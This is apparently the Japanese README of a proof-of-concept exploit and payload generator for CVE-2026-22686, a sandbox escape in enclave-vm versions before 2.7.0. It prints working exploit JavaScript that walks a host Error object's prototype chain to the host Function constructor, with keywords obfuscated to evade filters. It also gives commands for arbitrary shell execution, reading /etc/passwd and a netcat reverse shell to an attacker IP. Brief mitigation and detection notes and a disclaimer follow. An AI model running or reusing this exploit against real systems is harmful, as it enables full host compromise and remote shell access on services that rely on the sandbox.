
CVE-2026-22686の概念実証エクスプロイトおよびペイロードジェネレーター。enclave-vm <2.7.0におけるサンドボックスエスケープであり、任意コード実行とリバースシェルを可能にする。
CVE-2026-22686 の概念実証(PoC)エクスプロイトおよびペイロードジェネレーターです。これは enclave-vm の 2.7.0 より前 のバージョンに存在する重大なサンドボックスエスケープ脆弱性であり、ホストの Node.js ランタイム内で任意のコード実行を可能にします。
⚠️ 免責事項: このツールは 教育および許可されたセキュリティテストの目的のみ に提供されています。事前の書面による同意なしにシステムに対して使用することは違法です。作者は不正使用に対して一切の責任を負いません。
enclave-vm は、信頼できないコードを制御された環境内で安全に実行するために設計された JavaScript サンドボックスライブラリです。バージョン < 2.7.0 では、ホスト側のエラーオブジェクトがサンドボックスに公開される方法に欠陥があり、攻撃者がプロトタイプチェーンをたどってホストの Function コンストラクタに到達し、実質的にサンドボックスを脱出できるようになります。
このリポジトリには以下が含まれます:
サンドボックス化されたツール呼び出しが失敗すると、enclave-vm は ホスト側の Error オブジェクト をサンドボックス化されたコードに公開します。このエラーオブジェクトはホスト環境の元のプロトタイプチェーンを保持しているため、攻撃者は次のようにチェーンをたどることができます:
Error インスタンス
└── Error.prototype
└── Error コンストラクタ
└── Function コンストラクタ ← ホストの Function!
ホストの Function コンストラクタを取得すると、攻撃者はホストランタイムで任意の JavaScript をコンパイルして実行でき、サンドボックスを完全に回避できます。
エクスプロイトは以下の手順で行われます:
callTool('NONEXISTENT', {}))。Error.prototype.constructor.constructor に到達します。これはホストの Function です。Function を使用して実行します。child_process をロードし、任意のシェルコマンドを実行します(またはリバースシェルを起動します)。すべての機密キーワード(constructor、__proto__、__lookupGetter__、prototype)は、単純な静的フィルターを回避するために ASCII 文字コードとして難読化 されています。
外部依存関係はありません — Python 標準ライブラリのみを使用します。
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
要件:
python3 generator.py
以下の入力を求められます:
その後、生成されたペイロードをコピー し、脆弱なサンドボックスの入力に貼り付けます。
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
ターミナル 1(攻撃者 — リスナー):
nc -lvnp 4444
ターミナル 2(ジェネレーター):
python3 generator.py --revshell 10.10.15.152 4444
生成されたペイロードをコピーしてサンドボックスに貼り付けます。ターミナル 1 でシェルを受信するはずです。
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
const s = (...args) => String.fromCharCode(...args);
実行時に ASCII コード配列をデコードするための小さなヘルパーです。
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
単純な文字列ベースのフィルターを回避します。
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // ホストの Function コンストラクタ
const result = HostFunc(payload)(); // 任意のコード実行
その後、ホストの Function を使用して child_process.execSync() 経由で攻撃者のコマンドを実行します。
開発者向け:
enclave-vm を >= 2.7.0 にアップグレードしてください。npm audit、Snyk、Dependabot)。isolated-vm、gVisor、Firecracker)。ユーザー / 組織向け:
検出:
callTool('NONEXISTENT'、__lookupGetter__、カンマ区切りの整数リテラルの長い配列、または child_process / execSync を含む HTTP リクエストやコード送信を探してください。
このプロジェクトは 教育および防御的なセキュリティ研究のみを目的として 公開されています。セキュリティ研究者、許可されたペネトレーションテスター、および CTF プレイヤーを対象としています。
所有していない、または明示的な書面によるテスト許可がないシステムに対してこのツールを使用しないでください。 コンピュータシステムへの不正アクセスは、ほとんどの法域で違法であり(米国の CFAA、英国の Computer Misuse Act、フランスの Article 323-1)、厳しい刑事罰が科される可能性があります。
このソフトウェアを使用することにより、その使用から生じるいかなる損害や法的結果についても、作者は 責任を負わない ことに同意するものとします。
child_process documentationこのプロジェクトは MIT License の下でライセンスされています — 詳細は LICENSE ファイルを参照してください。
enclave-vm のメンテナープルリクエストを歓迎します。大きな変更の場合は、まず issue を開いてください。
提案される改善点:
vm2、isolated-vm)のサポート| 項目 | 値 |
|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Critical) |
| CWE | CWE-693 — 保護メカニズムの不具合 |
| コンポーネント | enclave-vm |
| 影響を受けるバージョン | < 2.7.0 |
| 修正バージョン | 2.7.0 |
| 影響 | サンドボックスエスケープ → 任意のコード実行(RCE) |
| フラグ | 説明 |
|---|
-c, --command | 実行するシェルコマンド |
--revshell LHOST LPORT | リバースシェルペイロードを生成する |
--raw | ペイロードのみを出力する(バナーや装飾なし) |
--lang {fr,en} | インターフェース言語を強制する |
-h, --help | ヘルプと例を表示する |